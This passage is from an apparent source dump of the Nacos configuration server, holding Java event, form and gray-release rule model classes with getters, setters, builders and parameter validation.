   \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public boolean isBeta() {\n        return isBeta;\n    }\n    \n    public void setBeta(boolean beta) {\n        isBeta = beta;\n    }\n    \n    public String getTag() {\n        return tag;\n    }\n    \n    public void setTag(String tag) {\n        this.tag = tag;\n    }\n    \n    public boolean isBatch() {\n        return isBatch;\n    }\n    \n    public void setBatch(boolean batch) {\n        isBatch = batch;\n    }\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public String getBetaIps() {\n        return betaIps;\n    }\n    \n    public void setBetaIps(String betaIps) {\n        this.betaIps = betaIps;\n    }\n    \n    public String getHandleIp() {\n        return handleIp;\n    }\n    \n    public void setHandleIp(String handleIp) {\n        this.handleIp = handleIp;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public long getLastModifiedTs() {\n        return lastModifiedTs;\n    }\n    \n    public void setLastModifiedTs(long lastModifiedTs) {\n        this.lastModifiedTs = lastModifiedTs;\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    public String getGrayRule() {\n        return grayRule;\n    }\n    \n    public void setGrayRule(String grayRule) {\n        this.grayRule = grayRule;\n    }\n    \n    public static ConfigDumpEventBuilder builder() {\n        return new ConfigDumpEventBuilder();\n    }\n    \n    public static final class ConfigDumpEventBuilder {\n        \n        private boolean remove;\n        \n        private String namespaceId;\n        \n        private String dataId;\n        \n        private String group;\n        \n        private boolean isBeta;\n        \n        private boolean isBatch;\n        \n        private int delimiter;\n        \n        private String tag;\n        \n        private String grayName;\n        \n        private String grayRule;\n        \n        private String encryptedDataKey;\n        \n        private String content;\n        \n        private String betaIps;\n        \n        private String handleIp;\n        \n        private String type;\n        \n        private long lastModifiedTs;\n        \n        private ConfigDumpEventBuilder() {\n        }\n        \n        public ConfigDumpEventBuilder delimiter(int delimiter) {\n            this.delimiter = delimiter;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder remove(boolean remove) {\n            this.remove = remove;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder namespaceId(String namespaceId) {\n            this.namespaceId = namespaceId;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder dataId(String dataId) {\n            this.dataId = dataId;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder group(String group) {\n            this.group = group;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder isBeta(boolean isBeta) {\n            this.isBeta = isBeta;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder tag(String tag) {\n            this.tag = tag;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder grayName(String grayName) {\n            this.grayName = grayName;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder grayRule(String grayRule) {\n            this.grayRule = grayRule;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder content(String content) {\n            this.content = content;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder betaIps(String betaIps) {\n            this.betaIps = betaIps;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder handleIp(String handleIp) {\n            this.handleIp = handleIp;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder encryptedDataKey(String encryptedDataKey) {\n            this.encryptedDataKey = encryptedDataKey;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder type(String type) {\n            this.type = type;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder lastModifiedTs(long lastModifiedTs) {\n            this.lastModifiedTs = lastModifiedTs;\n            return this;\n        }\n        \n        public ConfigDumpEventBuilder isBatch(boolean isBatch) {\n            this.isBatch = isBatch;\n            return this;\n        }\n        \n        /**\n         * Build a configDumpEvent.\n         *\n         * @return ConfigDumpEvent object instance.\n         */\n        public ConfigDumpEvent build() {\n            ConfigDumpEvent configDumpEvent = new ConfigDumpEvent();\n            configDumpEvent.setRemove(remove);\n            configDumpEvent.setNamespaceId(namespaceId);\n            configDumpEvent.setDataId(dataId);\n            configDumpEvent.setGroup(group);\n            configDumpEvent.setTag(tag);\n            configDumpEvent.setContent(content);\n            configDumpEvent.setBetaIps(betaIps);\n            configDumpEvent.setHandleIp(handleIp);\n            configDumpEvent.setEncryptedDataKey(encryptedDataKey);\n            configDumpEvent.setType(type);\n            configDumpEvent.setBatch(isBatch);\n            configDumpEvent.setDelimiter(delimiter);\n            configDumpEvent.setLastModifiedTs(lastModifiedTs);\n            configDumpEvent.setGrayName(grayName);\n            configDumpEvent.setGrayRule(grayRule);\n            configDumpEvent.isBeta = this.isBeta;\n            return configDumpEvent;\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/event/ConfigFuzzyWatchEvent.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.event;\n\nimport com.alibaba.nacos.common.notify.Event;\n\nimport java.util.Set;\n\n/**\n * This event represents a batch fuzzy listening event for configurations. It is used to notify the server about a batch\n * of fuzzy listening requests from clients. Each request contains a client ID, a set of existing group keys associated\n * with the client, a key group pattern, and a flag indicating whether the client is initializing.\n *\n * @author stone-98\n * @date 2024/3/5\n */\npublic class ConfigFuzzyWatchEvent extends Event {\n    \n    private static final long serialVersionUID = 1953965691384930209L;\n    \n    /**\n     * ID of the client making the request.\n     */\n    private String connectionId;\n    \n    /**\n     * Pattern for matching group keys.\n     */\n    private String groupKeyPattern;\n    \n    /**\n     * Set of existing group keys associated with the client.\n     */\n    private Set<String> clientExistingGroupKeys;\n    \n    /**\n     * Flag indicating whether the client is initializing.\n     */\n    private boolean isInitializing;\n    \n    /**\n     * Constructs a new ConfigBatchFuzzyListenEvent with the specified parameters.\n     *\n     * @param connectionId                ID of the client making the request\n     * @param clientExistingGroupKeys Set of existing group keys associated with the client\n     * @param groupKeyPattern         Pattern for matching group keys\n     * @param isInitializing          Flag indicating whether the client is initializing\n     */\n    public ConfigFuzzyWatchEvent(String connectionId, Set<String> clientExistingGroupKeys, String groupKeyPattern,\n            boolean isInitializing) {\n        this.connectionId = connectionId;\n        this.clientExistingGroupKeys = clientExistingGroupKeys;\n        this.groupKeyPattern = groupKeyPattern;\n        this.isInitializing = isInitializing;\n    }\n    \n    /**\n     * Get the ID of the client making the request.\n     *\n     * @return The client ID\n     */\n    public String getConnectionId() {\n        return connectionId;\n    }\n    \n    /**\n     * Set the ID of the client making the request.\n     *\n     * @param connectionId The client ID to be set\n     */\n    public void setConnectionId(String connectionId) {\n        this.connectionId = connectionId;\n    }\n    \n    /**\n     * Get the pattern for matching group keys.\n     *\n     * @return The key group pattern\n     */\n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    /**\n     * Set the pattern for matching group keys.\n     *\n     * @param groupKeyPattern The key group pattern to be set\n     */\n    public void setGroupKeyPattern(String groupKeyPattern) {\n        this.groupKeyPattern = groupKeyPattern;\n    }\n    \n    /**\n     * Get the set of existing group keys associated with the client.\n     *\n     * @return The set of existing group keys\n     */\n    public Set<String> getClientExistingGroupKeys() {\n        return clientExistingGroupKeys;\n    }\n    \n    /**\n     * Set the set of existing group keys associated with the client.\n     *\n     * @param clientExistingGroupKeys The set of existing group keys to be set\n     */\n    public void setClientExistingGroupKeys(Set<String> clientExistingGroupKeys) {\n        this.clientExistingGroupKeys = clientExistingGroupKeys;\n    }\n    \n    /**\n     * Check whether the client is initializing.\n     *\n     * @return True if the client is initializing, otherwise false\n     */\n    public boolean isInitializing() {\n        return isInitializing;\n    }\n    \n    /**\n     * Set the flag indicating whether the client is initializing.\n     *\n     * @param initializing True if the client is initializing, otherwise false\n     */\n    public void setInitializing(boolean initializing) {\n        isInitializing = initializing;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/event/IstioConfigChangeEvent.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.event;\n\n/**\n * XDS config change event.\n *\n * @author PoisonGravity\n */\npublic class IstioConfigChangeEvent extends ConfigDataChangeEvent {\n    \n    private static final long serialVersionUID = -2618455009648617192L;\n    \n    public final String content;\n    \n    public final String type;\n    \n    public IstioConfigChangeEvent(String dataId, String group, String tenant, long gmtModified, String content,\n            String type) {\n        super(dataId, group, tenant, gmtModified);\n        this.content = content;\n        this.type = type;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/event/LocalDataChangeEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.event;\n\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * LocalDataChangeEvent.\n *\n * @author Nacos\n */\npublic class LocalDataChangeEvent extends Event {\n    \n    public final String groupKey;\n    \n    public LocalDataChangeEvent(String groupKey) {\n        this.groupKey = groupKey;\n    }\n\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/event/RaftDbErrorRecoverEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.event;\n\nimport com.alibaba.nacos.common.JustForTest;\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * RaftDBErrorRecoverEvent.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\n@JustForTest\npublic class RaftDbErrorRecoverEvent extends Event {\n\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/form/ConfigForm.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.form;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport org.springframework.http.HttpStatus;\n\n/**\n * ConfigForm.\n *\n * @author dongyafei\n * @author xiweng.yy\n */\npublic class ConfigForm implements NacosForm, Cloneable {\n    \n    private static final long serialVersionUID = 4124932564086863921L;\n    \n    private String dataId;\n    \n    /**\n     * Deprecated, please use {@link ConfigFormV3#groupName} replaced.\n     */\n    @Deprecated\n    private String group;\n    \n    private String namespaceId = StringUtils.EMPTY;\n    \n    private String content;\n    \n    private String tag;\n    \n    private String appName;\n    \n    private String srcUser;\n    \n    private String configTags;\n    \n    private String encryptedDataKey;\n    \n    private String grayName;\n    \n    private String grayRuleExp;\n    \n    private String grayVersion;\n    \n    private int grayPriority;\n    \n    private String desc;\n    \n    private String use;\n    \n    private String effect;\n    \n    private String type;\n    \n    private String schema;\n    \n    public ConfigForm() {\n    }\n    \n    public ConfigForm(String dataId, String group, String namespaceId, String content, String tag, String appName,\n            String srcUser, String configTags, String desc, String use, String effect, String type, String schema) {\n        this.dataId = dataId;\n        this.group = group;\n        this.namespaceId = namespaceId;\n        this.content = content;\n        this.tag = tag;\n        this.appName = appName;\n        this.srcUser = srcUser;\n        this.configTags = configTags;\n        this.desc = desc;\n        this.use = use;\n        this.effect = effect;\n        this.type = type;\n        this.schema = schema;\n    }\n    \n    @Override\n    public ConfigForm clone() {\n        try {\n            // Object.clone() 是浅拷贝，但对于 String 和基本类型已经足够\n            return (ConfigForm) super.clone();\n        } catch (CloneNotSupportedException e) {\n            // 理论上不会发生，因为实现了接口Cloneable\n            throw new AssertionError(e);\n        }\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public String getTag() {\n        return tag;\n    }\n    \n    public void setTag(String tag) {\n        this.tag = tag;\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public String getSrcUser() {\n        return srcUser;\n    }\n    \n    public void setSrcUser(String srcUser) {\n        this.srcUser = srcUser;\n    }\n    \n    public String getConfigTags() {\n        return configTags;\n    }\n    \n    public void setConfigTags(String configTags) {\n        this.configTags = configTags;\n    }\n    \n    public String getDesc() {\n        return desc;\n    }\n    \n    public void setDesc(String desc) {\n        this.desc = desc;\n    }\n    \n    public String getUse() {\n        return use;\n    }\n    \n    public void setUse(String use) {\n        this.use = use;\n    }\n    \n    public String getEffect() {\n        return effect;\n    }\n    \n    public void setEffect(String effect) {\n        this.effect = effect;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getSchema() {\n        return schema;\n    }\n    \n    public void setSchema(String schema) {\n        this.schema = schema;\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    public String getGrayRuleExp() {\n        return grayRuleExp;\n    }\n    \n    public void setGrayRuleExp(String grayRuleExp) {\n        this.grayRuleExp = grayRuleExp;\n    }\n    \n    public String getGrayVersion() {\n        return grayVersion;\n    }\n    \n    public void setGrayVersion(String grayVersion) {\n        this.grayVersion = grayVersion;\n    }\n    \n    public int getGrayPriority() {\n        return grayPriority;\n    }\n    \n    public void setGrayPriority(int grayPriority) {\n        this.grayPriority = grayPriority;\n    }\n    \n    @Override\n    public void validate() throws NacosApiException {\n        if (StringUtils.isBlank(dataId)) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'dataId' type String is not present\");\n        } else if (StringUtils.isBlank(group)) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'group' type String is not present\");\n        }\n    }\n    \n    /**\n     * Validate form parameter and include validate `content` parameters.\n     *\n     * @throws NacosApiException NacosApiException\n     */\n    public void validateWithContent() throws NacosApiException {\n        validate();\n        if (StringUtils.isBlank(content)) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'content' type String is not present\");\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/form/ConfigFormV3.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.form;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.springframework.http.HttpStatus;\n\n/**\n * Nacos HTTP config form v3, use `groupName` replace `group`.\n *\n * @author xiweng.yy\n */\npublic class ConfigFormV3 extends ConfigForm {\n    \n    private static final long serialVersionUID = 1105715502736280287L;\n    \n    private String groupName;\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    @Override\n    public void validate() throws NacosApiException {\n        if (StringUtils.isBlank(groupName)) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'groupName' type String is not present\");\n        }\n        super.setGroup(groupName);\n        super.validate();\n    }\n    \n    /**\n     * Validate for blur search API, which allow user input empty groupName and dataId to search all configs.\n     *\n     * @throws NacosApiException when form parameters is invalid.\n     */\n    public void blurSearchValidate() throws NacosApiException {\n        if (null == groupName) {\n            groupName = StringUtils.EMPTY;\n            super.setGroup(groupName);\n        }\n        if (null == getDataId()) {\n            setDataId(StringUtils.EMPTY);\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/form/UpdateCapacityForm.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.form;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.service.capacity.CapacityService;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport org.springframework.http.HttpStatus;\n\n/**\n * This form is used to update capacity-related configurations.\n *\n * @author Nacos\n */\npublic class UpdateCapacityForm implements NacosForm  {\n    \n    private static final long serialVersionUID = -1912905276914026856L;\n    \n    private String groupName;\n    \n    private String namespaceId;\n    \n    private Integer quota;\n    \n    private Integer maxSize;\n    \n    private Integer maxAggrCount;\n    \n    private Integer maxAggrSize;\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public Integer getQuota() {\n        return quota;\n    }\n    \n    public void setQuota(Integer quota) {\n        this.quota = quota;\n    }\n    \n    public Integer getMaxSize() {\n        return maxSize;\n    }\n    \n    public void setMaxSize(Integer maxSize) {\n        this.maxSize = maxSize;\n    }\n    \n    public Integer getMaxAggrCount() {\n        return maxAggrCount;\n    }\n    \n    public void setMaxAggrCount(Integer maxAggrCount) {\n        this.maxAggrCount = maxAggrCount;\n    }\n    \n    public Integer getMaxAggrSize() {\n        return maxAggrSize;\n    }\n    \n    public void setMaxAggrSize(Integer maxAggrSize) {\n        this.maxAggrSize = maxAggrSize;\n    }\n    \n    @Override\n    public void validate() throws NacosApiException {\n        if (quota == null && maxSize == null && maxAggrCount == null && maxAggrSize == null) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_MISSING,\n                    \"The parameters quota, maxSize, maxAggrCount, maxAggrSize cannot be empty at the same time\");\n        }\n    }\n    \n    /**\n     * Check namespaceId and groupName.\n     *\n     * @param capacityService capacity service\n     * @throws NacosApiException NacosApiException\n     */\n    public void checkNamespaceIdAndGroupName(CapacityService capacityService) throws NacosApiException {\n        if (StringUtils.isBlank(groupName) && StringUtils.isBlank(namespaceId)) {\n            capacityService.initAllCapacity();\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_MISSING,\n                    \"At least one of the parameters (groupName or namespaceId) must be provided\");\n        }\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/gray/AbstractGrayRule.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.gray;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.Map;\n\n/**\n * Gray rule. type with version determined parse logic.\n *\n * @author shiyiyue\n */\npublic abstract class AbstractGrayRule implements GrayRule {\n    \n    protected String rawGrayRuleExp;\n    \n    protected int priority;\n    \n    protected volatile boolean valid = true;\n    \n    public AbstractGrayRule() {\n    }\n    \n    public AbstractGrayRule(String rawGrayRuleExp, int priority) {\n        try {\n            parse(rawGrayRuleExp);\n            this.priority = priority;\n        } catch (NacosException e) {\n            valid = false;\n        }\n        this.rawGrayRuleExp = rawGrayRuleExp;\n    }\n    \n    /**\n     * parse gray rule.\n     *\n     * @param rawGrayRule raw gray rule.\n     * @throws NacosException if parse failed.\n     * @date 2024/3/14\n     */\n    protected abstract void parse(String rawGrayRule) throws NacosException;\n    \n    /**\n     * match gray rule.\n     *\n     * @param labels conn labels.\n     * @return true if match.\n     * @date 2024/3/14\n     */\n    public abstract boolean match(Map<String, String> labels);\n    \n    public boolean isValid() {\n        return valid;\n    }\n    \n    /**\n     * get type.\n     *\n     * @return gray rule type.\n     * @date 2024/3/14\n     */\n    public abstract String getType();\n    \n    /**\n     * get version.\n     *\n     * @return gray rule version.\n     * @date 2024/3/14\n     */\n    public abstract String getVersion();\n    \n    public String getRawGrayRuleExp() {\n        return rawGrayRuleExp;\n    }\n    \n    public int getPriority() {\n        return priority;\n    }\n    \n    public void setPriority(int priority) {\n        this.priority = priority;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/gray/BetaGrayRule.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.gray;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Set;\n\n/**\n * beta gray rule for beta ips.\n * @author shiyiyue1102\n */\npublic class BetaGrayRule extends AbstractGrayRule {\n    \n    Set<String> betaIps;\n    \n    public static final String CLIENT_IP_LABEL = \"ClientIp\";\n    \n    public static final String TYPE_BETA = \"beta\";\n    \n    public static final String VERSION = \"1.0.0\";\n    \n    public static final int PRIORITY = Integer.MAX_VALUE;\n    \n    public BetaGrayRule() {\n        super();\n    }\n    \n    public BetaGrayRule(String betaIps, int priority) {\n        super(betaIps, priority);\n    }\n    \n    /**\n     * parse beta gray rule.\n     * @param rawGrayRule raw gray rule.\n     * @throws NacosException exception.\n     */\n    @Override\n    protected void parse(String rawGrayRule) throws NacosException {\n        Set<String> betaIps = new HashSet<>();\n        String[] ips = rawGrayRule.split(\",\");\n        for (String ip : ips) {\n            betaIps.add(ip);\n        }\n        this.betaIps = betaIps;\n    }\n    \n    @Override\n    \n    public boolean match(Map<String, String> labels) {\n        return labels.containsKey(CLIENT_IP_LABEL) && betaIps.contains(labels.get(CLIENT_IP_LABEL));\n    }\n    \n    @Override\n    public String getType() {\n        return TYPE_BETA;\n    }\n    \n    @Override\n    public String getVersion() {\n        return VERSION;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        BetaGrayRule that = (BetaGrayRule) o;\n        return Objects.equals(betaIps, that.betaIps);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(betaIps);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/gray/ConfigGrayPersistInfo.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.gray;\n\n/**\n * description.\n *\n * @author rong\n * @date 2024-03-14 10:57\n */\npublic class ConfigGrayPersistInfo {\n\n    private String type;\n    \n    private String version;\n    \n    private String expr;\n    \n    private int priority;\n    \n    public ConfigGrayPersistInfo(String type, String version, String expr, int priority) {\n        this.type = type;\n        this.version = version;\n        this.expr = expr;\n        this.priority = priority;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getExpr() {\n        return expr;\n    }\n    \n    public void setExpr(String expr) {\n        this.expr = expr;\n    }\n    \n    public int getPriority() {\n        return priority;\n    }\n    \n    public void setPriority(int priority) {\n        this.priority = priority;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/gray/GrayRule.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.gray;\n\nimport java.util.Map;\n\n/**\n * gray rule.\n *\n * @author rong\n */\npublic interface GrayRule {\n    \n    /**\n    * gray rule match labels or not.\n    *\n    * @date 2024/3/14\n    * @param labels conn labels.\n    * @return true if match, false otherwise.\n    */\n    boolean match(Map<String, String> labels);\n    \n    /**\n    * if the gray rule is valid.\n    *\n    * @date 2024/3/14\n    * @return true if valid, false otherwise.\n    */\n    boolean isValid();\n    \n    /**\n    * get gray rule type.\n    *\n    * @date 2024/3/14\n    * @return the gray rule type.\n    */\n    String getType();\n    \n    /**\n    * get gray rule version.\n    *\n    * @date 2024/3/14\n    * @return the gray rule version.\n    */\n    String getVersion();\n    \n    /**\n    * get gray rule priority.\n    *\n    * @date 2024/3/14\n    * @return the gray rule priority.\n    */\n    int getPriority();\n    \n    /**\n    * get raw String of gray rule.\n    *\n    * @date 2024/3/14\n    * @return the raw String of gray 